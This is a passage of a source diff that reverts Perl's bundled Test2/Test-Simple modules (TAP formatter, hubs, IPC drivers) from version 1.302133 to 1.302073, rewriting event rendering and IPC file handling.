'skip'; + # The primary line of TAP, if the test passed this is all we need. + return([OUT_STD, "$out\n"]) unless @extra; - $directives{$tag} ||= $am->{details}; - } + return $self->event_ok_multiline($out, $space, @extra); +} - my %seen; - my @order = grep { !$seen{$_}++ } sort keys %directives; +sub event_ok_multiline { + my $self = shift; + my ($out, $space, @extra) = @_; - $directives = ' # ' . join ' & ' => @order; + return( + [OUT_STD, "$out\n"], + map {[OUT_STD, "#${space}$_\n"]} @extra, + ); +} - for my $tag ('skip', @order) { - next unless defined($directives{$tag}) && length($directives{$tag}); - $reason = $directives{$tag}; - last; - } +sub event_skip { + my $self = shift; + my ($e, $num) = @_; + + my $name = $e->name; + my $reason = $e->reason; + my $todo = $e->todo; + + my $out = ""; + $out .= "not " unless $e->{pass}; + $out .= "ok"; + $out .= " $num" if defined $num; + $out .= " - $name" if $name; + if (defined($todo)) { + $out .= " # TODO & SKIP" } + else { + $out .= " # skip"; + } + $out .= " $reason" if defined($reason) && length($reason); - $ok .= " - $name" if defined $name && !($is_skip && !$name); - - my @subtap; - if ($f->{parent} && $f->{parent}->{buffered}) { - $ok .= ' {'; + return([OUT_STD, "$out\n"]); +} - # In a verbose harness we indent the extra since they will appear - # inside the subtest braces. This helps readability. In a non-verbose - # harness we do not do this because it is less readable. - if ($ENV{HARNESS_IS_VERBOSE} || !$ENV{HARNESS_ACTIVE}) { - $extra_indent = " "; - $extra_space = ' '; - } +sub event_note { + my $self = shift; + my ($e, $num) = @_; - # Render the sub-events, we use our own counter for these. - my $count = 0; - @subtap = map { - my $f2 = $_; + chomp(my $msg = $e->message); + $msg =~ s/^/# /; + $msg =~ s/\n/\n# /g; - # Bump the count for any event that should bump it. - $count++ if $f2->{assert}; + return [OUT_STD, "$msg\n"]; +} - # This indents all output lines generated for the sub-events. - # index 0 is the filehandle, index 1 is the message we want to indent. - map { $_->[1] =~ s/^(.*\S.*)$/ $1/mg; $_ } $self->event_tap($f2, $count); - } @{$f->{parent}->{children}}; +sub event_diag { + my $self = shift; + my ($e, $num) = @_; - push @subtap => [OUT_STD, "}\n"]; - } + chomp(my $msg = $e->message); + $msg =~ s/^/# /; + $msg =~ s/\n/\n# /g; - if ($directives) { - $directives = ' # TODO & SKIP' if $directives eq ' # TODO & skip'; - $ok .= $directives; - $ok .= " $reason" if defined($reason); - } + return [OUT_ERR, "$msg\n"]; +} - $extra_space = ' ' if $self->no_subtest_space; +sub event_bail { + my $self = shift; + my ($e, $num) = @_; - my @out = ([OUT_STD, "$ok\n"]); - push @out => map {[OUT_STD, "${extra_indent}#${extra_space}$_\n"]} @extra if @extra; - push @out => @subtap; + return if $e->nested; - return @out; + return [ + OUT_STD, + "Bail out! " . $e->reason . "\n", + ]; } -sub debug_tap { - my ($self, $f, $num) = @_; - - # Figure out the debug info, this is typically the file name and line - # number, but can also be a custom message. If no trace object is provided - # then we have nothing useful to display. - my $name = $f->{assert}->{details}; - my $trace = $f->{trace}; +sub event_exception { + my $self = shift; + my ($e, $num) = @_; + return [ OUT_ERR, $e->error ]; +} - my $debug = "[No trace info available]"; - if ($trace->{details}) { - $debug = $trace->{details}; - } - elsif ($trace->{frame}) { - my ($pkg, $file, $line) = @{$trace->{frame}}; - $debug = "at $file line $line." if $file && $line; +sub event_subtest { + my $self = shift; + my ($e, $num) = @_; + + # A 'subtest' is a subclass of 'ok'. Let the code that renders 'ok' render + # this event. + my ($ok, @diag) = $self->event_ok($e, $num); + + # If the subtest is not buffered then the sub-events have already been + # rendered, we can go ahead and return. + return ($ok, @diag) unless $e->buffered; + + # In a verbose harness we indent the diagnostics from the 'Ok' event since + # they will appear inside the subtest braces. This helps readability. In a + # non-verbose harness we do not do this because it is less readable. + if ($ENV{HARNESS_IS_VERBOSE}) { + # index 0 is the filehandle, index 1 is the message we want to indent. + $_->[1] =~ s/^(.*\S.*)$/ $1/mg for @diag; } - my $amnesty = $f->{amnesty} && @{$f->{amnesty}} - ? ' (with amnesty)' - : ''; - - # Create the initial diagnostics. If the test has a name we put the debug - # info on a second line, this behavior is inherited from Test::Builder. - my $msg = defined($name) - ? qq[# Failed test${amnesty} '$name'\n# $debug\n] - : qq[# Failed test${amnesty} $debug\n]; + # Add the trailing ' {' to the 'ok' line of TAP output. + $ok->[1] =~ s/\n/ {\n/; + + # Render the sub-events, we use our own counter for these. + my $count = 0; + my @subs = map { + # Bump the count for any event that should bump it. + $count++ if $_->increments_count; + + # This indents all output lines generated for the sub-events. + # index 0 is the filehandle, index 1 is the message we want to indent. + map { $_->[1] =~ s/^(.*\S.*)$/ $1/mg; $_ } $self->event_tap($_, $count); + } @{$e->subevents}; + + return ( + $ok, # opening ok - name { + @diag, # diagnostics if the subtest failed + @subs, # All the inner-event lines + [OUT_STD(), "}\n"], # } (closing brace) + ); +} - my $IO = $f->{amnesty} && @{$f->{amnesty}} ? OUT_STD : OUT_ERR; +sub event_plan { + my $self = shift; + my ($e, $num) = @_; - return [$IO, $msg]; -} + my $directive = $e->directive; + return if $directive && $directive eq 'NO PLAN'; -sub halt_tap { - my ($self, $f) = @_; + my $reason = $e->reason; + $reason =~ s/\n/\n# /g if $reason; - return if $f->{trace}->{nested} && !$f->{trace}->{buffered}; - my $details = $f->{control}->{details}; + my $plan = "1.." . $e->max; + if ($directive) { + $plan .= " # $directive"; + $plan .= " $reason" if defined $reason; + } - return [OUT_STD, "Bail out!\n"] unless defined($details) && length($details); - return [OUT_STD, "Bail out! $details\n"]; + return [OUT_STD, "$plan\n"]; } -sub info_tap { - my ($self, $f) = @_; +sub event_version { + my $self = shift; + my ($e, $num) = @_; - return map { - my $details = $_->{details}; + my $version = $e->version; - my $IO = $_->{debug} && !($f->{amnesty} && @{$f->{amnesty}}) ? OUT_ERR : OUT_STD; + return [OUT_STD, "TAP version $version\n"]; +} - my $msg; - if (ref($details)) { - require Data::Dumper; - my $dumper = Data::Dumper->new([$details])->Indent(2)->Terse(1)->Pad('# ')->Useqq(1)->Sortkeys(1); - chomp($msg = $dumper->Dump); - } - else { - chomp($msg = $details); - $msg =~ s/^/# /; - $msg =~ s/\n/\n# /g; - } +sub event_other { + my $self = shift; + my ($e, $num) = @_; + return if $e->no_display; - [$IO, "$msg\n"]; - } @{$f->{info}}; -} + my @out; -sub summary_tap { - my ($self, $f, $num) = @_; + if (my ($max, $directive, $reason) = $e->sets_plan) { + my $plan = "1..$max"; + $plan .= " # $directive" if $directive; + $plan .= " $reason" if defined $reason; + push @out => [OUT_STD, "$plan\n"]; + } - return if $f->{about}->{no_display}; + if ($e->increments_count) { + my $ok = ""; + $ok .= "not " if $e->causes_fail; + $ok .= "ok"; + $ok .= " $num" if defined($num); + $ok .= " - " . $e->summary if $e->summary; - my $summary = $f->{about}->{details} or return; - chomp($summary); - $summary =~ s/^/# /smg; + push @out => [OUT_STD, "$ok\n"]; + } + else { # Comment + my $handle = ($e->causes_fail || $e->diagnostics) ? OUT_ERR : OUT_STD; + my $summary = $e->summary || ref($e); + chomp($summary); + $summary =~ s/^/# /smg; + push @out => [$handle, "$summary\n"]; + } - return [OUT_STD, "$summary\n"]; + return @out; } 1; @@ -450,6 +408,99 @@ This directly modifies the stored filehandles, it does not create new ones. Write an event to the console. +=item Test2::Formatter::TAP->register_event($pkg, sub { ... }); + +In general custom events are not supported. There are however occasions where +you might want to write a custom event type that results in TAP output. In +order to do this you use the C class method. + + package My::Event; + use Test2::Formatter::TAP; + + use base 'Test2::Event'; + use Test2::Util::HashBase qw/pass name diag note/; + + Test2::Formatter::TAP->register_event( + __PACKAGE__, + sub { + my $self = shift; + my ($e, $num) = @_; + return ( + [Test2::Formatter::TAP::OUT_STD, "ok $num - " . $e->name . "\n"], + [Test2::Formatter::TAP::OUT_ERR, "# " . $e->name . " " . $e->diag . "\n"], + [Test2::Formatter::TAP::OUT_STD, "# " . $e->name . " " . $e->note . "\n"], + ); + } + ); + + 1; + +=back + +=head2 EVENT METHODS + +All these methods require the event itself. Optionally they can all except a +test number. + +All methods return a list of array-refs. Each array-ref will have 2 items, the +first is an integer identifying an output handle, the second is a string that +should be written to the handle. + +=over 4 + +=item @out = $TAP->event_ok($e) + +=item @out = $TAP->event_ok($e, $num) + +Process an L event. + +=item @out = $TAP->event_plan($e) + +=item @out = $TAP->event_plan($e, $num) + +Process an L event. + +=item @out = $TAP->event_note($e) + +=item @out = $TAP->event_note($e, $num) + +Process an L event. + +=item @out = $TAP->event_diag($e) + +=item @out = $TAP->event_diag($e, $num) + +Process an L event. + +=item @out = $TAP->event_bail($e) + +=item @out = $TAP->event_bail($e, $num) + +Process an L event. + +=item @out = $TAP->event_exception($e) + +=item @out = $TAP->event_exception($e, $num) + +Process an L event. + +=item @out = $TAP->event_skip($e) + +=item @out = $TAP->event_skip($e, $num) + +Process an L event. + +=item @out = $TAP->event_subtest($e) + +=item @out = $TAP->event_subtest($e, $num) + +Process an L event. + +=item @out = $TAP->event_other($e, $num) + +Fallback for unregistered event types. It uses the L API to +convert the event to TAP. + =back =head1 SOURCE @@ -477,7 +528,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Hub.pm b/cpan/Test-Simple/lib/Test2/Hub.pm index 6be1c8d1f52c..324f1a87bbb5 100644 --- a/cpan/Test-Simple/lib/Test2/Hub.pm +++ b/cpan/Test-Simple/lib/Test2/Hub.pm @@ -2,19 +2,17 @@ package Test2::Hub; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Carp qw/carp croak confess/; use Test2::Util qw/get_tid ipc_separator/; use Scalar::Util qw/weaken/; -use List::Util qw/first/; use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/; use Test2::Util::HashBase qw{ pid tid hid ipc - nested buffered no_ending _filters _pre_filters @@ -25,7 +23,6 @@ use Test2::Util::HashBase qw{ _context_init _context_release - uuid active count failed @@ -36,8 +33,6 @@ use Test2::Util::HashBase qw{ skip_reason }; -my $UUID_VIA; - my $ID_POSTFIX = 1; sub init { my $self = shift; @@ -46,12 +41,6 @@ sub init { $self->{+TID} = get_tid(); $self->{+HID} = join ipc_separator, $self->{+PID}, $self->{+TID}, $ID_POSTFIX++; - $UUID_VIA ||= Test2::API::_add_uuid_via_ref(); - $self->{+UUID} = ${$UUID_VIA}->('hub') if $$UUID_VIA; - - $self->{+NESTED} = 0 unless defined $self->{+NESTED}; - $self->{+BUFFERED} = 0 unless defined $self->{+BUFFERED}; - $self->{+COUNT} = 0; $self->{+FAILED} = 0; $self->{+_PASSING} = 1; @@ -67,21 +56,6 @@ sub init { sub is_subtest { 0 } -sub _tb_reset { - my $self = shift; - - # Nothing to do - return if $self->{+PID} == $$ && $self->{+TID} == get_tid(); - - $self->{+PID} = $$; - $self->{+TID} = get_tid(); - $self->{+HID} = join ipc_separator, $self->{+PID}, $self->{+TID}, $ID_POSTFIX++; - - if (my $ipc = $self->{+IPC}) { - $ipc->add_hub($self->{+HID}); - } -} - sub reset_state { my $self = shift; @@ -99,8 +73,6 @@ sub inherit { my $self = shift; my ($from, %params) = @_; - $self->{+NESTED} ||= 0; - $self->{+_FORMATTER} = $from->{+_FORMATTER} unless $self->{+_FORMATTER} || exists($params{formatter}); @@ -278,23 +250,6 @@ sub send { my $self = shift; my ($e) = @_; - $e->add_hub( - { - details => ref($self), - - buffered => $self->{+BUFFERED}, - hid => $self->{+HID}, - nested => $self->{+NESTED}, - pid => $self->{+PID}, - tid => $self->{+TID}, - uuid => $self->{+UUID}, - - ipc => $self->{+IPC} ? 1 : 0, - } - ); - - $e->set_uuid(${$UUID_VIA}->('event')) if $$UUID_VIA; - if ($self->{+_PRE_FILTERS}) { for (@{$self->{+_PRE_FILTERS}}) { $e = $_->{code}->($self, $e); @@ -326,63 +281,32 @@ sub process { } } - # Optimize the most common case my $type = ref($e); - if ($type eq 'Test2::Event::Pass' || ($type eq 'Test2::Event::Ok' && $e->{pass})) { - my $count = ++($self->{+COUNT}); - $self->{+_FORMATTER}->write($e, $count) if $self->{+_FORMATTER}; - - if ($self->{+_LISTENERS}) { - $_->{code}->($self, $e, $count) for @{$self->{+_LISTENERS}}; - } + my $is_ok = $type eq 'Test2::Event::Ok'; + my $no_fail = $type eq 'Test2::Event::Diag' || $type eq 'Test2::Event::Note'; + my $causes_fail = $is_ok ? !$e->{effective_pass} : $no_fail ? 0 : $e->causes_fail; + my $counted = $is_ok || (!$no_fail && $e->increments_count); - return $e; - } - - my $f = $e->facet_data; - - my $fail = 0; - $fail = 1 if $f->{assert} && !$f->{assert}->{pass}; - $fail = 1 if $f->{errors} && grep { $_->{fail} } @{$f->{errors}}; - $fail = 0 if $f->{amnesty}; + $self->{+COUNT}++ if $counted; + $self->{+FAILED}++ if $causes_fail && $counted; + $self->{+_PASSING} = 0 if $causes_fail; - $self->{+COUNT}++ if $f->{assert}; - $self->{+FAILED}++ if $fail && $f->{assert}; - $self->{+_PASSING} = 0 if $fail; + my $callback = $e->callback($self) unless $is_ok || $no_fail; - my $code = $f->{control}->{terminate}; my $count = $self->{+COUNT}; - if (my $plan = $f->{plan}) { - if ($plan->{skip}) { - $self->plan('SKIP'); - $self->set_skip_reason($plan->{details} || 1); - $code ||= 0; - } - elsif ($plan->{none}) { - $self->plan('NO PLAN'); - } - else { - $self->plan($plan->{count}); - } - } - - $e->callback($self) if $f->{control}->{has_callback}; - - $self->{+_FORMATTER}->write($e, $count, $f) if $self->{+_FORMATTER}; + $self->{+_FORMATTER}->write($e, $count) if $self->{+_FORMATTER}; if ($self->{+_LISTENERS}) { - $_->{code}->($self, $e, $count, $f) for @{$self->{+_LISTENERS}}; + $_->{code}->($self, $e, $count) for @{$self->{+_LISTENERS}}; } - if ($f->{control}->{halt}) { - $code ||= 255; - $self->set_bailed_out($e); - } + return $e if $is_ok || $no_fail; + my $code = $e->terminate; if (defined $code) { - $self->{+_FORMATTER}->terminate($e, $f) if $self->{+_FORMATTER}; - $self->terminate($code, $e, $f); + $self->{+_FORMATTER}->terminate($e) if $self->{+_FORMATTER}; + $self->terminate($code, $e); } return $e; @@ -415,11 +339,11 @@ sub finalize { my $failed = $self->{+FAILED}; my $active = $self->{+ACTIVE}; - # return if NOTHING was done. - unless ($active || $do_plan || defined($plan) || $count || $failed) { - $self->{+_FORMATTER}->finalize($plan, $count, $failed, 0, $self->is_subtest) if $self->{+_FORMATTER}; - return; - } + # return if NOTHING was done. + unless ($active || $do_plan || defined($plan) || $count || $failed) { + $self->{+_FORMATTER}->finalize($plan, $count, $failed, 0, $self->is_subtest) if $self->{+_FORMATTER}; + return; + } unless ($self->{+ENDED}) { if ($self->{+_FOLLOW_UPS}) { @@ -457,7 +381,7 @@ Second End: $sfile line $sline $self->{+ENDED} = $frame; my $pass = $self->is_passing(); # Generate the final boolean. - $self->{+_FORMATTER}->finalize($plan, $count, $failed, $pass, $self->is_subtest) if $self->{+_FORMATTER}; + $self->{+_FORMATTER}->finalize($plan, $count, $failed, $pass, $self->is_subtest) if $self->{+_FORMATTER}; return $pass; } @@ -528,6 +452,7 @@ sub DESTROY { my $ipc = $self->{+IPC} || return; return unless $$ == $self->{+PID}; return unless get_tid() == $self->{+TID}; + $ipc->drop_hub($self->{+HID}); } @@ -715,7 +640,7 @@ the reference returned by C or C. =item $hub->follow_op(sub { ... }) Use this to add behaviors that are called just before the hub is finalized. The -only argument to your codeblock will be a L instance. +only argument to your codeblock will be a L instance. $hub->follow_up(sub { my ($trace, $hub) = @_; @@ -798,10 +723,6 @@ Get the thread id under which the hub was created. Get the identifier string of the hub. -=item $uuid = $hub->uuid() - -If UUID tagging is enabled (see L) then the hub will have a UUID. - =item $ipc = $hub->ipc() Get the IPC object used by the hub. @@ -898,7 +819,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm b/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm index b7af4cf427de..42be265f8d74 100644 --- a/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm +++ b/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm @@ -2,7 +2,7 @@ package Test2::Hub::Interceptor; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Test2::Hub::Interceptor::Terminator(); @@ -10,18 +10,10 @@ use Test2::Hub::Interceptor::Terminator(); BEGIN { require Test2::Hub; our @ISA = qw(Test2::Hub) } use Test2::Util::HashBase; -sub init { - my $self = shift; - $self->SUPER::init(); - $self->{+NESTED} = 0; -} - sub inherit { my $self = shift; my ($from, %params) = @_; - $self->{+NESTED} = 0; - if ($from->{+IPC} && !$self->{+IPC} && !exists($params{ipc})) { my $ipc = $from->{+IPC}; $self->{+IPC} = $ipc; @@ -78,7 +70,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm b/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm index 76ad94a94cc6..f72019046898 100644 --- a/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm +++ b/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm @@ -2,7 +2,7 @@ package Test2::Hub::Interceptor::Terminator; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; 1; @@ -41,7 +41,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm b/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm index c36a19e1ad6b..adb3d6f15ed7 100644 --- a/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm +++ b/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm @@ -2,29 +2,29 @@ package Test2::Hub::Subtest; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; + BEGIN { require Test2::Hub; our @ISA = qw(Test2::Hub) } -use Test2::Util::HashBase qw/nested exit_code manual_skip_all/; +use Test2::Util::HashBase qw/nested bailed_out exit_code manual_skip_all id/; use Test2::Util qw/get_tid/; -sub is_subtest { 1 } - -sub inherit { +my $ID = 1; +sub init { my $self = shift; - my ($from) = @_; - - $self->SUPER::inherit($from); - - $self->{+NESTED} = $from->nested + 1; + $self->SUPER::init(@_); + $self->{+ID} ||= join "-", $$, get_tid, $ID++; } -{ - # Legacy - no warnings 'once'; - *ID = \&Test2::Hub::HID; - *id = \&Test2::Hub::hid; - *set_id = \&Test2::Hub::set_hid; +sub is_subtest { 1 } + +sub process { + my $self = shift; + my ($e) = @_; + $e->set_nested($self->nested); + $e->set_in_subtest($self->{+ID}); + $self->set_bailed_out($e) if $e->isa('Test2::Event::Bail'); + $self->SUPER::process($e); } sub send { @@ -34,15 +34,9 @@ sub send { my $out = $self->SUPER::send($e); return $out if $self->{+MANUAL_SKIP_ALL}; - - my $f = $e->facet_data; - - my $plan = $f->{plan} or return $out; - return $out unless $plan->{skip}; - - my $trace = $f->{trace} or die "Missing Trace!"; - return $out unless $trace->{pid} != $self->pid - || $trace->{tid} != $self->tid; + return $out unless $e->isa('Test2::Event::Plan') + && $e->directive eq 'SKIP' + && ($e->trace->pid != $self->pid || $e->trace->tid != $self->tid); no warnings 'exiting'; last T2_SUBTEST_WRAPPER; @@ -50,18 +44,13 @@ sub send { sub terminate { my $self = shift; - my ($code, $e, $f) = @_; + my ($code, $e) = @_; $self->set_exit_code($code); return if $self->{+MANUAL_SKIP_ALL}; - - $f ||= $e->facet_data; - - if(my $plan = $f->{plan}) { - my $trace = $f->{trace} or die "Missing Trace!"; - return if $plan->{skip} - && ($trace->{pid} != $$ || $trace->{tid} != get_tid); - } + return if $e->isa('Test2::Event::Plan') + && $e->directive eq 'SKIP' + && ($e->trace->pid != $$ || $e->trace->tid != get_tid); no warnings 'exiting'; last T2_SUBTEST_WRAPPER; @@ -126,7 +115,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/IPC.pm b/cpan/Test-Simple/lib/Test2/IPC.pm index cfee46180239..92447919c119 100644 --- a/cpan/Test-Simple/lib/Test2/IPC.pm +++ b/cpan/Test-Simple/lib/Test2/IPC.pm @@ -2,7 +2,7 @@ package Test2::IPC; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; use Test2::API::Instance; @@ -10,7 +10,6 @@ use Test2::Util qw/get_tid/; use Test2::API qw{ test2_init_done test2_ipc - test2_has_ipc test2_ipc_enable_polling test2_pid test2_stack @@ -23,12 +22,9 @@ use Carp qw/confess/; our @EXPORT_OK = qw/cull/; BEGIN { require Exporter; our @ISA = qw(Exporter) } -sub unimport { Test2::API::test2_ipc_disable() } - sub import { - goto &Exporter::import if test2_has_ipc || !test2_init_done(); + goto &Exporter::import unless test2_init_done(); - confess "IPC is disabled" if Test2::API::test2_ipc_disabled(); confess "Cannot add IPC in a child process (" . test2_pid() . " vs $$)" if test2_pid() != $$; confess "Cannot add IPC in a child thread (" . test2_tid() . " vs " . get_tid() . ")" if test2_tid() != get_tid(); @@ -99,11 +95,6 @@ You should C as early as possible in your test file. If you import this module after API initialization it will attempt to retrofit IPC onto the existing hubs. -=head2 DISABLING IT - -You can use C to disable IPC for good. You can also use the -T2_NO_IPC env var. - =head1 EXPORTS All exports are optional. @@ -139,7 +130,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/IPC/Driver.pm b/cpan/Test-Simple/lib/Test2/IPC/Driver.pm index a4d725573277..cd34f7c02582 100644 --- a/cpan/Test-Simple/lib/Test2/IPC/Driver.pm +++ b/cpan/Test-Simple/lib/Test2/IPC/Driver.pm @@ -2,11 +2,11 @@ package Test2::IPC::Driver; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; -use Carp qw/confess/; -use Test2::Util::HashBase qw{no_fatal no_bail}; +use Carp qw/confess longmess/; +use Test2::Util::HashBase qw{no_fatal}; use Test2::API qw/test2_ipc_add_driver/; @@ -36,11 +36,8 @@ for my $meth (qw/send cull add_hub drop_hub waiting is_viable/) { sub abort { my $self = shift; chomp(my ($msg) = @_); - - $self->driver_abort($msg) if $self->can('driver_abort'); - print STDERR "IPC Fatal Error: $msg\n"; - print STDOUT "Bail out! IPC Fatal Error: $msg\n" unless $self->no_bail; + print STDOUT "not ok - IPC Fatal Error\n"; CORE::exit(255) unless $self->no_fatal; } @@ -48,8 +45,7 @@ sub abort { sub abort_trace { my $self = shift; my ($msg) = @_; - # Older versions of Carp do not export longmess() function, so it needs to be called with package name - $self->abort(Carp::longmess($msg)); + $self->abort(longmess($msg)); } 1; @@ -252,12 +248,6 @@ child processes and threads to complete. =over 4 -=item $ipc->driver_abort($msg) - -This is a hook called by C<< Test2::IPC::Driver->abort() >>. This is your -chance to cleanup when an abort happens. You cannot prevent the abort, but you -can gracefully except it. - =item $bool = $ipc->use_shm() True if you want to make use of the L/L SHM. @@ -292,7 +282,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm b/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm index 1d37a833264b..998fef56376a 100644 --- a/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm +++ b/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm @@ -2,12 +2,12 @@ package Test2::IPC::Driver::Files; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; BEGIN { require Test2::IPC::Driver; our @ISA = qw(Test2::IPC::Driver) } -use Test2::Util::HashBase qw{tempdir event_ids read_ids timeouts tid pid globals}; +use Test2::Util::HashBase qw{tempdir event_id tid pid globals}; use Scalar::Util qw/blessed/; use File::Temp(); @@ -15,9 +15,54 @@ use Storable(); use File::Spec(); use POSIX(); -use Test2::Util qw/try get_tid pkg_to_file IS_WIN32 ipc_separator do_rename do_unlink try_sig_mask/; +use Test2::Util qw/try get_tid pkg_to_file IS_WIN32 ipc_separator/; use Test2::API qw/test2_ipc_set_pending/; +BEGIN { + if (IS_WIN32) { + my $max_tries = 5; + + *do_rename = sub { + my ($from, $to) = @_; + + my $err; + for (1 .. $max_tries) { + return (1) if rename($from, $to); + $err = "$!"; + last if $_ == $max_tries; + sleep 1; + } + + return (0, $err); + }; + *do_unlink = sub { + my ($file) = @_; + + my $err; + for (1 .. $max_tries) { + return (1) if unlink($file); + $err = "$!"; + last if $_ == $max_tries; + sleep 1; + } + + return (0, "$!"); + }; + } + else { + *do_rename = sub { + my ($from, $to) = @_; + return (1) if rename($from, $to); + return (0, "$!"); + }; + *do_unlink = sub { + my ($file) = @_; + return (1) if unlink($file); + return (0, "$!"); + }; + } +} + sub use_shm { 1 } sub shm_size() { 64 } @@ -39,9 +84,7 @@ sub init { print STDERR "\nIPC Temp Dir: $tmpdir\n\n" if $ENV{T2_KEEP_TEMPDIR}; - $self->{+EVENT_IDS} = {}; - $self->{+READ_IDS} = {}; - $self->{+TIMEOUTS} = {}; + $self->{+EVENT_ID} = 1; $self->{+TID} = get_tid(); $self->{+PID} = $$; @@ -68,11 +111,8 @@ sub event_file { $self->abort("'$e' is not an event object!") unless $type->isa('Test2::Event'); - my $tid = get_tid(); - my $eid = $self->{+EVENT_IDS}->{$hid}->{$$}->{$tid} += 1; - my @type = split '::', $type; - my $name = join(ipc_separator, $hid, $$, $tid, $eid, @type); + my $name = join(ipc_separator, $hid, $$, get_tid(), $self->{+EVENT_ID}++, @type); return File::Spec->catfile($tempdir, $name); } @@ -159,18 +199,36 @@ do so if Test::Builder is loaded for legacy reasons. $self->{+GLOBALS}->{$hid}->{$name}++; } + my ($old, $blocked); + unless(IS_WIN32) { + my $to_block = POSIX::SigSet->new( + POSIX::SIGINT(), + POSIX::SIGALRM(), + POSIX::SIGHUP(), + POSIX::SIGTERM(), + POSIX::SIGUSR1(), + POSIX::SIGUSR2(), + ); + $old = POSIX::SigSet->new; + $blocked = POSIX::sigprocmask(POSIX::SIG_BLOCK(), $to_block, $old); + # Silently go on if we failed to log signals, not much we can do. + } + # Write and rename the file. - my ($ren_ok, $ren_err); - my ($ok, $err) = try_sig_mask { + my ($ok, $err) = try { Storable::store($e, $file); - ($ren_ok, $ren_err) = do_rename("$file", $ready); + my ($ok, $err) = do_rename("$file", $ready); + unless ($ok) { + POSIX::sigprocmask(POSIX::SIG_SETMASK(), $old, POSIX::SigSet->new()) if defined $blocked; + $self->abort("Could not rename file '$file' -> '$ready': $err"); + }; + test2_ipc_set_pending(substr($file, -(shm_size))); }; - if ($ok) { - $self->abort("Could not rename file '$file' -> '$ready': $ren_err") unless $ren_ok; - test2_ipc_set_pending(substr($file, -(shm_size))); - } - else { + # If our block was successful we want to restore the old mask. + POSIX::sigprocmask(POSIX::SIG_SETMASK(), $old, POSIX::SigSet->new()) if defined $blocked; + + if (!$ok) { my $src_file = __FILE__; $err =~ s{ at \Q$src_file\E.*$}{}; chomp($err); @@ -198,20 +256,6 @@ Error: $err return 1; } -sub driver_abort { - my $self = shift; - my ($msg) = @_; - - local ($@, $!, $?, $^E); - eval { - my $abort = File::Spec->catfile($self->{+TEMPDIR}, "ABORT"); - open(my $fh, '>>', $abort) or die "Could not open abort file: $!"; - print $fh $msg, "\n"; - close($fh) or die "Could not close abort file: $!"; - 1; - } or warn $@; -} - sub cull { my $self = shift; my ($hid) = @_; @@ -220,25 +264,8 @@ sub cull { opendir(my $dh, $tempdir) or $self->abort("could not open IPC temp dir ($tempdir)!"); - my $read = $self->{+READ_IDS}; - my $timeouts = $self->{+TIMEOUTS}; - my @out; for my $info (sort cmp_events map { $self->should_read_event($hid, $_) } readdir($dh)) { - unless ($info->{global}) { - my $next = $self->{+READ_IDS}->{$info->{hid}}->{$info->{pid}}->{$info->{tid}} ||= 1; - - $timeouts->{$info->{file}} ||= time; - - if ($next != $info->{eid}) { - # Wait up to N seconds for missing events - next unless 5 < time - $timeouts->{$info->{file}}; - $self->abort("Missing event HID: $info->{hid}, PID: $info->{pid}, TID: $info->{tid}, EID: $info->{eid}."); - } - - $self->{+READ_IDS}->{$info->{hid}}->{$info->{pid}}->{$info->{tid}} = $info->{eid} + 1; - } - my $full = $info->{full_path}; my $obj = $self->read_event_file($full); push @out => $obj; @@ -275,7 +302,6 @@ sub parse_event_filename { my $type = join '::' => @parts; return { - file => $file, ready => $ready, complete => $complete, global => $global, @@ -292,8 +318,6 @@ sub should_read_event { my ($hid, $file) = @_; return if substr($file, 0, 1) eq '.'; - return if substr($file, 0, 3) eq 'HUB'; - CORE::exit(255) if $file eq 'ABORT'; my $parsed = $self->parse_event_filename($file); @@ 